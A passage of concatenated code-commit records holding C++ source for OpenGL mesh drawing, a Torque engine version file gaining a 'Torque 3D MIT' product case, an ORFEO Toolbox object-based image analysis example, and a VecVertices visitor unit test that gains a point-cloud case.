GLC_Mesh2::createSelectionList(GLenum Mode)\n{\n\tm_IsSelected= true;\n\tif(!m_SelectionListID)\t\t\/\/ The list doesn't exist\n\t{\n\t\tm_SelectionListID= glGenLists(1);\n\t\tQ_ASSERT(0 != m_SelectionListID);\n\t}\n\t\/\/ List setting up\n\tglNewList(m_SelectionListID, Mode);\n\t\t\/\/ Geometry set up and display\n\t\tglDraw();\t\/\/ Virtual function defined in concrete class\n\tglEndList();\n\tm_IsSelected= false;\n\t\/\/ OpenGL error handler\n\tGLenum error= glGetError();\t\n\tif (error != GL_NO_ERROR)\n\t{\n\t\tGLC_OpenGlException OpenGlException(\"GLC_Mesh2::createList \", error);\n\t\tthrow(OpenGlException);\n\t}\t\t\n}\n\n\/\/ Virtual interface for OpenGL Geometry set up.\nvoid GLC_Mesh2::glDraw()\n{\n\t\/\/qDebug() << \"GLC_Mesh2::glDraw ENTER\";\n\t\n\t\/\/ If the mesh is empty there is noting to do\n\tif (m_CoordinateIndex.isEmpty()) return;\n\t\t\n\t\/\/ Index face separator\n\tconst int separator= -1;\n\t\n\tint CurrentMaterialIndex= -1;\n\tbool IsNewFace= true;\n\t\n\tfor(int i=0; i < m_CoordinateIndex.size(); ++i)\n\t{\n\t\tif (m_CoordinateIndex.at(i) == separator)\n\t\t{\t\t\t\n\t\t\tQ_ASSERT((i != 0) && (!IsNewFace));\t\/\/ the first index couldn't be a separator\n\t\t\t\/\/ End of current face\n\t\t\tglEnd();\n\t\t\t\/\/ At the next round a new face will be create\n\t\t\tIsNewFace=true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (CurrentMaterialIndex != m_MaterialIndex.at(i))\n\t\t\t{\t\/\/ If the material change, make it current\n\t\t\t\tCurrentMaterialIndex= m_MaterialIndex.at(i);\n\t\t\t\t\/\/qDebug() << \"GLC_Mesh2::glDraw : CurrentMaterialIndex\" << CurrentMaterialIndex;\n\t\t\t\tMaterialHash::const_iterator iMaterial= m_MaterialHash.find(CurrentMaterialIndex);\n\t\t\t\t\/\/ Check if the key is already use\n\t\t\t\tif (iMaterial != m_MaterialHash.end())\n\t\t\t\t{\n\t\t\t\t\tif (!m_IsSelected or (m_IsSelected and m_MaterialHash[CurrentMaterialIndex]->getAddRgbaTexture()))\n\t\t\t\t\t{\n\t\t\t\t\t\tm_MaterialHash[CurrentMaterialIndex]->glExecute();\n\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\tif (m_IsSelected) GLC_SelectionMaterial::glExecute();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_pMaterial->glExecute();\n\t\t\t\t\tif (m_IsSelected) GLC_SelectionMaterial::glExecute();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (IsNewFace)\n\t\t\t{\n\t\t\t\tif ((m_MaterialHash.find(CurrentMaterialIndex) != m_MaterialHash.end()) and m_MaterialHash[CurrentMaterialIndex]->getAddRgbaTexture())\n\t\t\t\t{\n\t\t\t\t\tglEnable(GL_TEXTURE_2D);\n\t\t\t\t\t\/\/qDebug() << \"GLC_Mesh2::glDraw : Texture enabled\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tglDisable(GL_TEXTURE_2D);\n\t\t\t\t}\n\t\t\t\tIsNewFace= false;\n\t\t\t\t\/\/ New polygon creation\n\t\t\t\tglBegin(GL_POLYGON);\n\t\t\t} \/\/ end if isNewFace\n\t\t\t\n\t\t\t\/\/ Vertex texture coordinate if necessary\n\t\t\tif (i < m_TextureIndex.size())\n\t\t\t{\n\t\t\t\tglTexCoord2fv(m_TextCoordinateHash[m_TextureIndex.at(i)].return_dVect());\n\t\t\t}\n\t\t\t\t\n\t\t\t\/\/ Vertex Normal\n\t\t\tQ_ASSERT(i < m_NormalIndex.size());\n\t\t\tglNormal3fv(m_NormalHash[m_NormalIndex.at(i)].return_dVect());\n\t\t\t\n\t\t\t\/\/ Vertex 3D coordinate\n\t\t\tQ_ASSERT(i < m_CoordinateIndex.size());\n\t\t\tglVertex3fv(m_CoordinateHash[m_CoordinateIndex.at(i)].return_dVect());\n\t\t}\t\t\n\t}\n\t\n\t\/\/ OpenGL error handler\n\tGLenum error= glGetError();\t\n\tif (error != GL_NO_ERROR)\n\t{\n\t\tGLC_OpenGlException OpenGlException(\"GLC_Mesh2::GlDraw \", error);\n\t\tthrow(OpenGlException);\n\t}\n\t\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2012 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#include \"platform\/platform.h\"\n#include \"app\/version.h\"\n#include \"console\/console.h\"\n\nstatic const U32 csgVersionNumber = TORQUE_GAME_ENGINE;\n\nU32 getVersionNumber()\n{\n return csgVersionNumber;\n}\n\nconst char* getVersionString()\n{\n return TORQUE_GAME_ENGINE_VERSION_STRING;\n}\n\n\/\/\/ TGE 0001\n\/\/\/ TGEA 0002\n\/\/\/ TGB 0003\n\/\/\/ TGEA 360 0004\n\/\/\/ TGE WII 0005\n\/\/\/ Torque 3D 0006\n\nconst char* getEngineProductString()\n{\n#ifndef TORQUE_ENGINE_PRODUCT\n return \"Torque Engine\";\n#else\n switch (TORQUE_ENGINE_PRODUCT)\n {\n case 0001:\n return \"Torque Game Engine\";\n case 0002:\n return \"Torque Game Engine Advanced\";\n case 0003:\n return \"Torque 2D\";\n case 0004:\n return \"Torque 360\";\n case 0005:\n return \"Torque for Wii\";\n case 0006:\n return \"Torque 3D\";\n\n default:\n return \"Torque Engine\";\n };\n#endif\n}\n\nconst char* getCompileTimeString()\n{\n return __DATE__ \" at \" __TIME__;\n}\n\/\/----------------------------------------------------------------\n\nConsoleFunctionGroupBegin( CompileInformation, \"Functions to get version information about the current executable.\" );\n\nConsoleFunction( getVersionNumber, S32, 1, 1, \"Get the version of the build, as a string.\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n return getVersionNumber();\n}\n\nConsoleFunction( getVersionString, const char*, 1, 1, \"Get the version of the build, as a string.\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n return getVersionString();\n}\n\nConsoleFunction( getEngineName, const char*, 1, 1, \"Get the name of the engine product that this is running from, as a string.\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n return getEngineProductString();\n}\n\nConsoleFunction( getCompileTimeString, const char*, 1, 1, \"Get the time of compilation.\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n return getCompileTimeString();\n}\n\nConsoleFunction( getBuildString, const char*, 1, 1, \"Get the type of build, \\\"Debug\\\" or \\\"Release\\\".\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n#ifdef TORQUE_DEBUG\n return \"Debug\";\n#else\n return \"Release\";\n#endif\n}\n\nConsoleFunctionGroupEnd( CompileInformation );\n\nConsoleFunction(isDemo, bool, 1, 1, \"\")\n{\n#ifdef TORQUE_DEMO\n return true;\n#else\n return false;\n#endif\n}\n\nConsoleFunction(isWebDemo, bool, 1, 1, \"\")\n{\n#ifdef TORQUE_DEMO\n return Platform::getWebDeployment();\n#else\n return false;\n#endif\n}<commit_msg>Fill in missing case for getEngineProductString switch block.<commit_after>\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2012 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#include \"platform\/platform.h\"\n#include \"app\/version.h\"\n#include \"console\/console.h\"\n\nstatic const U32 csgVersionNumber = TORQUE_GAME_ENGINE;\n\nU32 getVersionNumber()\n{\n return csgVersionNumber;\n}\n\nconst char* getVersionString()\n{\n return TORQUE_GAME_ENGINE_VERSION_STRING;\n}\n\n\/\/\/ TGE 0001\n\/\/\/ TGEA 0002\n\/\/\/ TGB 0003\n\/\/\/ TGEA 360 0004\n\/\/\/ TGE WII 0005\n\/\/\/ Torque 3D 0006\n\nconst char* getEngineProductString()\n{\n#ifndef TORQUE_ENGINE_PRODUCT\n return \"Torque Engine\";\n#else\n switch (TORQUE_ENGINE_PRODUCT)\n {\n case 0001:\n return \"Torque Game Engine\";\n case 0002:\n return \"Torque Game Engine Advanced\";\n case 0003:\n return \"Torque 2D\";\n case 0004:\n return \"Torque 360\";\n case 0005:\n return \"Torque for Wii\";\n case 0006:\n return \"Torque 3D\";\n case 0007:\n\t return \"Torque 3D MIT\";\n\t\t \n default:\n return \"Torque Engine\";\n };\n#endif\n}\n\nconst char* getCompileTimeString()\n{\n return __DATE__ \" at \" __TIME__;\n}\n\/\/----------------------------------------------------------------\n\nConsoleFunctionGroupBegin( CompileInformation, \"Functions to get version information about the current executable.\" );\n\nConsoleFunction( getVersionNumber, S32, 1, 1, \"Get the version of the build, as a string.\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n return getVersionNumber();\n}\n\nConsoleFunction( getVersionString, const char*, 1, 1, \"Get the version of the build, as a string.\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n return getVersionString();\n}\n\nConsoleFunction( getEngineName, const char*, 1, 1, \"Get the name of the engine product that this is running from, as a string.\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n return getEngineProductString();\n}\n\nConsoleFunction( getCompileTimeString, const char*, 1, 1, \"Get the time of compilation.\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n return getCompileTimeString();\n}\n\nConsoleFunction( getBuildString, const char*, 1, 1, \"Get the type of build, \\\"Debug\\\" or \\\"Release\\\".\\n\\n\"\n\t\t\t\t\"@ingroup Debugging\")\n{\n#ifdef TORQUE_DEBUG\n return \"Debug\";\n#else\n return \"Release\";\n#endif\n}\n\nConsoleFunctionGroupEnd( CompileInformation );\n\nConsoleFunction(isDemo, bool, 1, 1, \"\")\n{\n#ifdef TORQUE_DEMO\n return true;\n#else\n return false;\n#endif\n}\n\nConsoleFunction(isWebDemo, bool, 1, 1, \"\")\n{\n#ifdef TORQUE_DEMO\n return Platform::getWebDeployment();\n#else\n return false;\n#endif\n}<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\/\/ Software Guide : BeginCommandLineArgs\n\/\/ INPUTS: {XX.tif}\n\/\/ OUTPUTS: {XX.txt}\n\/\/ Software Guide : EndCommandLineArgs\n\n\/\/ Software Guide : BeginLatex\n\/\/\n\/\/ This example shows the basic approch to perform \n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"otbImage.h\"\n#include \"otbVectorImage.h\"\n#include \"otbImageFileReader.h\"\n#include \"otbImageFileWriter.h\"\n\n#include \"otbMeanShiftImageFilter.h\"\n#include \"itkLabelImageToLabelMapFilter.h\"\n#include \"otbAttributesMapLabelObject.h\"\n#include \"itkLabelMap.h\"\n#include \"otbShapeAttributesLabelMapFilter.h\"\n#include \"otbStatisticsAttributesLabelMapFilter.h\"\n#include \"otbRadiometricAttributesLabelMapFilter.h\"\n#include \"otbAttributesMapOpeningLabelMapFilter.h\"\n#include \"itkLabelMapToLabelImageFilter.h\"\n\nint main(int argc, char * argv[])\n{\n if(argc != 10)\n {\n std::cerr<<\"Usage: \"<<argv[0]<<\" reffname outfname attribute_name lowerThan tresh spatialRadius rangeRadius minregionsize scale\"<<std::endl;\n return EXIT_FAILURE;\n }\n\n const char * reffname = argv[1];\n const char * outfname = argv[2];\n const char * attr = argv[3];\n bool lowerThan = atoi(argv[4]);\n double thresh = atof(argv[5]);\n \n const unsigned int spatialRadius = atoi(argv[6]);\n const double rangeRadius = atof(argv[7]);\n const unsigned int minRegionSize = atoi(argv[8]);\n const double scale = atoi(argv[9]);\n\n const unsigned int Dimension = 2;\n\n \/\/ Labeled image type\n typedef unsigned short LabelType;\n typedef double PixelType;\n typedef otb::Image<LabelType,Dimension> LabeledImageType;\n typedef otb::Image<PixelType,Dimension> ImageType;\n typedef otb::VectorImage<PixelType,Dimension> VectorImageType;\n typedef otb::ImageFileReader<LabeledImageType> LabeledReaderType;\n typedef otb::ImageFileReader<ImageType> ReaderType;\n typedef otb::ImageFileReader<VectorImageType> VectorReaderType;\n typedef otb::ImageFileWriter<LabeledImageType> WriterType;\n \/\/ Label map typedef \n typedef otb::AttributesMapLabelObject<LabelType,Dimension,double> LabelObjectType;\n typedef itk::LabelMap<LabelObjectType> LabelMapType;\n typedef itk::LabelImageToLabelMapFilter<LabeledImageType,LabelMapType> LabelMapFilterType;\n typedef otb::ShapeAttributesLabelMapFilter<LabelMapType> ShapeLabelMapFilterType;\n typedef otb::StatisticsAttributesLabelMapFilter<LabelMapType,ImageType> StatisticsLabelMapFilterType;\n typedef otb::RadiometricAttributesLabelMapFilter<LabelMapType,VectorImageType> RadiometricLabelMapFilterType;\n typedef otb::AttributesMapOpeningLabelMapFilter<LabelMapType> OpeningLabelMapFilterType;\n typedef itk::LabelMapToLabelImageFilter<LabelMapType,LabeledImageType> LabelMapToLabeledImageFilterType;\n\n\n ReaderType::Pointer reader = ReaderType::New();\n reader->SetFileName(reffname);\n\/\/std::cout << reffname << std::endl; \n \/\/reader->Update();\n\/\/std::cout << reffname << std::endl; \n VectorReaderType::Pointer vreader = VectorReaderType::New();\n vreader->SetFileName(reffname);\n \n \/\/Segment the ref image using Mean Shift\n typedef otb::MeanShiftImageFilter<ImageType,ImageType, LabeledImageType> FilterType;\n FilterType::Pointer filter = FilterType::New();\n filter->SetSpatialRadius(spatialRadius);\n filter->SetRangeRadius(rangeRadius);\n filter->SetMinimumRegionSize(minRegionSize);\n filter->SetScale(scale);\n filter->SetInput(reader->GetOutput());\t\n\n LabelMapFilterType::Pointer labelMapFilter = LabelMapFilterType::New();\n labelMapFilter->SetInput(filter->GetLabeledClusteredOutput());\n labelMapFilter->SetBackgroundValue(itk::NumericTraits<LabelType>::max());\n \n ShapeLabelMapFilterType::Pointer shapeLabelMapFilter = ShapeLabelMapFilterType::New();\n shapeLabelMapFilter->SetInput(labelMapFilter->GetOutput());\n \n StatisticsLabelMapFilterType::Pointer statisticsLabelMapFilter = StatisticsLabelMapFilterType::New();\n statisticsLabelMapFilter->SetInput1(shapeLabelMapFilter->GetOutput());\n statisticsLabelMapFilter->SetInput2(reader->GetOutput());\n \n statisticsLabelMapFilter->Update();\n\n RadiometricLabelMapFilterType::Pointer radiometricLabelMapFilter = RadiometricLabelMapFilterType::New();\n radiometricLabelMapFilter->SetInput1(statisticsLabelMapFilter->GetOutput());\n radiometricLabelMapFilter->SetInput2(vreader->GetOutput());\n \/\/radiometricLabelMapFilter->SetReducedAttributeSet(false);\n radiometricLabelMapFilter->SetRedChannelIndex(1);\n radiometricLabelMapFilter->SetNIRChannelIndex(2);\n radiometricLabelMapFilter->Update();\n\n OpeningLabelMapFilterType::Pointer opening = OpeningLabelMapFilterType::New();\n opening->SetInput(radiometricLabelMapFilter->GetOutput());\n opening->SetAttributeName(attr);\n opening->SetReverseOrdering(lowerThan);\n opening->SetLambda(thresh);\n\n LabelMapToLabeledImageFilterType::Pointer labelMap2LabeledImage = LabelMapToLabeledImageFilterType::New();\n labelMap2LabeledImage->SetInput(opening->GetOutput());\n\n WriterType::Pointer writer = WriterType::New();\n writer->SetFileName(outfname);\n writer->SetInput(labelMap2LabeledImage->GetOutput());\n writer->Update();\n \n return EXIT_SUCCESS;\n}\n<commit_msg>DOC:obia<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\/\/ Software Guide : BeginCommandLineArgs\n\/\/ INPUTS: {XX.tif}\n\/\/ OUTPUTS: {XX.txt}\n\/\/ Software Guide : EndCommandLineArgs\n\n\/\/ Software Guide : BeginLatex\n\/\/\n\/\/ This example shows the basic approch to perform object based analysis on a image.\n\/\/ The input image is firstly segmented using the \\doxygen{otb}{MeanShiftImageFilter}\n\/\/ Then each segmented region is converted to a Map of labeled objects.\n\/\/ After the \\doxygen{otb}{RadiometricAttributesLabelMapFilter} computes computes \n\/\/ radiometric attributes for each object.\n\/\/ Images are supposed to be standard 4-bands image (B,G,R,NIR). The\n\/\/ index of each channel can be set via the Set***ChannelIndex()\n\/\/ accessors.\n\/\/ \n\/\/ This filter internally applies the\n\/\/ StatisticsAttributesLabelMapFilter to the following features: \n \/\/ \\begin{itemize}\n \/\/ \\item GEMI\n \/\/ \\item NDVI\n \/\/ \\item IR\n \/\/ \\item IC\n \/\/ \\item IB\n \/\/ \\item NDWI2\n \/\/ \\item Intensity\n \/\/ \\item and original B, G, R and NIR channels\n \/\/ \\end{itemize},\n\/\/ \n\/\/ \n\/\/\n\/\/ Software Guide : EndLatex\n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"otbImage.h\"\n#include \"otbVectorImage.h\"\n#include \"otbImageFileReader.h\"\n#include \"otbImageFileWriter.h\"\n\n#include \"otbMeanShiftImageFilter.h\"\n#include \"itkLabelImageToLabelMapFilter.h\"\n#include \"otbAttributesMapLabelObject.h\"\n#include \"itkLabelMap.h\"\n#include \"otbShapeAttributesLabelMapFilter.h\"\n#include \"otbStatisticsAttributesLabelMapFilter.h\"\n#include \"otbRadiometricAttributesLabelMapFilter.h\"\n#include \"otbAttributesMapOpeningLabelMapFilter.h\"\n#include \"itkLabelMapToLabelImageFilter.h\"\n\nint main(int argc, char * argv[])\n{\n if(argc != 10)\n {\n std::cerr<<\"Usage: \"<<argv[0]<<\" reffname outfname attribute_name lowerThan tresh spatialRadius rangeRadius minregionsize scale\"<<std::endl;\n return EXIT_FAILURE;\n }\n\n const char * reffname = argv[1];\n const char * outfname = argv[2];\n const char * attr = argv[3];\n bool lowerThan = atoi(argv[4]);\n double thresh = atof(argv[5]);\n \n const unsigned int spatialRadius = atoi(argv[6]);\n const double rangeRadius = atof(argv[7]);\n const unsigned int minRegionSize = atoi(argv[8]);\n const double scale = atoi(argv[9]);\n\n const unsigned int Dimension = 2;\n\n \/\/ Labeled image type\n typedef unsigned short LabelType;\n typedef double PixelType;\n typedef otb::Image<LabelType,Dimension> LabeledImageType;\n typedef otb::Image<PixelType,Dimension> ImageType;\n typedef otb::VectorImage<PixelType,Dimension> VectorImageType;\n typedef otb::ImageFileReader<LabeledImageType> LabeledReaderType;\n typedef otb::ImageFileReader<ImageType> ReaderType;\n typedef otb::ImageFileReader<VectorImageType> VectorReaderType;\n typedef otb::ImageFileWriter<LabeledImageType> WriterType;\n \/\/ Label map typedef \n typedef otb::AttributesMapLabelObject<LabelType,Dimension,double> LabelObjectType;\n typedef itk::LabelMap<LabelObjectType> LabelMapType;\n typedef itk::LabelImageToLabelMapFilter<LabeledImageType,LabelMapType> LabelMapFilterType;\n typedef otb::ShapeAttributesLabelMapFilter<LabelMapType> ShapeLabelMapFilterType;\n typedef otb::StatisticsAttributesLabelMapFilter<LabelMapType,ImageType> StatisticsLabelMapFilterType;\n typedef otb::RadiometricAttributesLabelMapFilter<LabelMapType,VectorImageType> RadiometricLabelMapFilterType;\n typedef otb::AttributesMapOpeningLabelMapFilter<LabelMapType> OpeningLabelMapFilterType;\n typedef itk::LabelMapToLabelImageFilter<LabelMapType,LabeledImageType> LabelMapToLabeledImageFilterType;\n\n\n ReaderType::Pointer reader = ReaderType::New();\n reader->SetFileName(reffname);\n\/\/std::cout << reffname << std::endl; \n \/\/reader->Update();\n\/\/std::cout << reffname << std::endl; \n VectorReaderType::Pointer vreader = VectorReaderType::New();\n vreader->SetFileName(reffname);\n \n \/\/Segment the ref image using Mean Shift\n typedef otb::MeanShiftImageFilter<ImageType,ImageType, LabeledImageType> FilterType;\n FilterType::Pointer filter = FilterType::New();\n filter->SetSpatialRadius(spatialRadius);\n filter->SetRangeRadius(rangeRadius);\n filter->SetMinimumRegionSize(minRegionSize);\n filter->SetScale(scale);\n filter->SetInput(reader->GetOutput());\t\n\n LabelMapFilterType::Pointer labelMapFilter = LabelMapFilterType::New();\n labelMapFilter->SetInput(filter->GetLabeledClusteredOutput());\n labelMapFilter->SetBackgroundValue(itk::NumericTraits<LabelType>::max());\n \n ShapeLabelMapFilterType::Pointer shapeLabelMapFilter = ShapeLabelMapFilterType::New();\n shapeLabelMapFilter->SetInput(labelMapFilter->GetOutput());\n \n StatisticsLabelMapFilterType::Pointer statisticsLabelMapFilter = StatisticsLabelMapFilterType::New();\n statisticsLabelMapFilter->SetInput1(shapeLabelMapFilter->GetOutput());\n statisticsLabelMapFilter->SetInput2(reader->GetOutput());\n \n statisticsLabelMapFilter->Update();\n\n RadiometricLabelMapFilterType::Pointer radiometricLabelMapFilter = RadiometricLabelMapFilterType::New();\n radiometricLabelMapFilter->SetInput1(statisticsLabelMapFilter->GetOutput());\n radiometricLabelMapFilter->SetInput2(vreader->GetOutput());\n \/\/radiometricLabelMapFilter->SetReducedAttributeSet(false);\n radiometricLabelMapFilter->SetRedChannelIndex(1);\n radiometricLabelMapFilter->SetNIRChannelIndex(2);\n radiometricLabelMapFilter->Update();\n\n OpeningLabelMapFilterType::Pointer opening = OpeningLabelMapFilterType::New();\n opening->SetInput(radiometricLabelMapFilter->GetOutput());\n opening->SetAttributeName(attr);\n opening->SetReverseOrdering(lowerThan);\n opening->SetLambda(thresh);\n\n LabelMapToLabeledImageFilterType::Pointer labelMap2LabeledImage = LabelMapToLabeledImageFilterType::New();\n labelMap2LabeledImage->SetInput(opening->GetOutput());\n\n WriterType::Pointer writer = WriterType::New();\n writer->SetFileName(outfname);\n writer->SetInput(labelMap2LabeledImage->GetOutput());\n writer->Update();\n \n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/** @file test out VecVertices visitor\n *\/\n#ifdef __WITH_PCL \/\/ PCL support required for these tests\n\n#include \"core\/visitors\/visitorvertices.h\"\n\n#include \"core\/exception.h\"\n#include \"ts\/ts.h\"\n\nusing namespace std;\nusing namespace cv;\nusing namespace sem;\n\nnamespace {\n\n\/**\n * @brief test class around VisitorVecVertices\n *\/\nclass VisitorVecVerticesTest : public ::testing::Test\n{\nprotected:\n virtual void SetUp()\n {\n to_.Reset();\n }\n\n VisitorVecVertices to_; \/\/\/< test object\n};\n\nTEST_F(VisitorVecVerticesTest, EmptyVecVertices)\n{\n EXPECT_TRUE(to_(VecVertices()).empty());\n}\n\nTEST_F(VisitorVecVerticesTest, EmptyVecVertices_Size)\n{\n EXPECT_SIZE(0, to_(VecVertices()));\n}\n\ntemplate<class T>\nclass VisitorVecVerticesTypedTest : public VisitorVecVerticesTest\n{\nprotected:\n virtual void SetUp()\n {\n to_.Reset();\n }\n\n \/\/typedef std::list<T> List;\n static T shared_;\n T value_;\n};\n\n\/**\n * @brief Value per type to use in fixtures below.\n *\/\ntemplate<class T>\nstruct Twos_\n{\n static const T val;\n};\n\n\/\/\/< Register static variables to work with inside tests\ntemplate<> const float Twos_<float>::val = 2.f;\ntemplate<> const int Twos_<int>::val = 2;\ntemplate<> const uchar Twos_<uchar>::val = 2;\ntemplate<> const Mat1f Twos_<Mat1f>::val = Mat1f(1, 1, 2.f);\n\ntypedef ::testing::Types<Mat1f, float, int, uchar> VisitorTypes;\nTYPED_TEST_CASE(VisitorVecVerticesTypedTest, VisitorTypes);\n\nTYPED_TEST(VisitorVecVerticesTypedTest, Twos)\n{\n TypeParam in = Twos_<TypeParam >::val;\n\n VecVertices vv = to_(in);\n\n EXPECT_SIZE(1, vv);\n EXPECT_SIZE(1, vv[0].vertices);\n\n EXPECT_EQ(static_cast<uint32_t>(2), vv[0].vertices[0]);\n}\n\n} \/\/ annonymous namespace for VecVertices visitors' test fixtures\n\n#else \/\/ __WITH_PCL\n #warning \"Skipping building VecVertices visitor unit tests due to no pcl support.\"\n#endif \/\/ __WITH_PCL\n<commit_msg>add test similar to scalars to cover cloud<commit_after>\/** @file test out VecVertices visitor\n *\/\n#ifdef __WITH_PCL \/\/ PCL support required for these tests\n\n#include \"core\/visitors\/visitorvertices.h\"\n\n#include \"core\/exception.h\"\n#include \"ts\/ts.h\"\n\nusing namespace std;\nusing namespace cv;\nusing namespace sem;\n\nnamespace {\n\n\/**\n * @brief test class around VisitorVecVertices\n *\/\nclass VisitorVecVerticesTest : public ::testing::Test\n{\nprotected:\n virtual void SetUp()\n {\n to_.Reset();\n }\n\n VisitorVecVertices to_; \/\/\/< test object\n};\n\nTEST_F(VisitorVecVerticesTest, EmptyVecVertices)\n{\n EXPECT_TRUE(to_(VecVertices()).empty());\n}\n\nTEST_F(VisitorVecVerticesTest, EmptyVecVertices_Size)\n{\n EXPECT_SIZE(0, to_(VecVertices()));\n}\n\nTEST_F(VisitorVecVerticesTest, Twos_cloud)\n{\n CloudXYZ::Ptr in = Mat2PointCloud(Mat1f(4, 3, 2));\n\n VecVertices vv = to_(in);\n\n EXPECT_SIZE(4, vv);\n EXPECT_SIZE(4, vv[0].vertices);\n\n for(uint32_t i=0; i<in->height; i++) {\n for(uint32_t j=0; j<in->width; j++) {\n\n EXPECT_EQ(static_cast<uint32_t>(2), vv[i].vertices[j]);\n }\n }\n}\n\ntemplate<class T>\nclass VisitorVecVerticesTypedTest : public VisitorVecVerticesTest\n{\nprotected:\n virtual void SetUp()\n {\n to_.Reset();\n }\n\n \/\/typedef std::list<T> List;\n static T shared_;\n T value_;\n};\n\n\/**\n * @brief Value per type to use in fixtures below.\n *\/\ntemplate<class T>\nstruct Twos_\n{\n static const T val;\n};\n\n\/\/\/< Register static variables to work with inside tests\ntemplate<> const float Twos_<float>::val = 2.f;\ntemplate<> const int Twos_<int>::val = 2;\ntemplate<> const uchar Twos_<uchar>::val = 2;\ntemplate<> const Mat1f Twos_<Mat1f>::val = Mat1f(1, 1, 2.f);\n\ntypedef ::testing::Types<Mat1f, float, int, uchar> VisitorTypes;\nTYPED_TEST_CASE(VisitorVecVerticesTypedTest, VisitorTypes);\n\nTYPED_TEST(VisitorVecVerticesTypedTest, Twos)\n{\n TypeParam in = Twos_<TypeParam >::val;\n\n VecVertices vv = to_(in);\n\n EXPECT_SIZE(1, vv);\n EXPECT_SIZE(1, vv[0].vertices);\n\n EXPECT_EQ(static_cast<uint32_t>(2), vv[0].vertices[0]);\n}\n\n} \/\/ annonymous namespace for VecVertices visitors' test fixtures\n\n#else \/\/ __WITH_PCL\n #warning \"Skipping building VecVertices visitor unit tests due to no pcl support.\"\n#endif \/\/ __WITH_PCL\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * This file is part of dirtsand. *\n * *\n * dirtsand is free software: you can redistribute it and\/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation, either version 3 of the License, or *\n * (at your option) any later version. *\n * *\n * dirtsand is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A 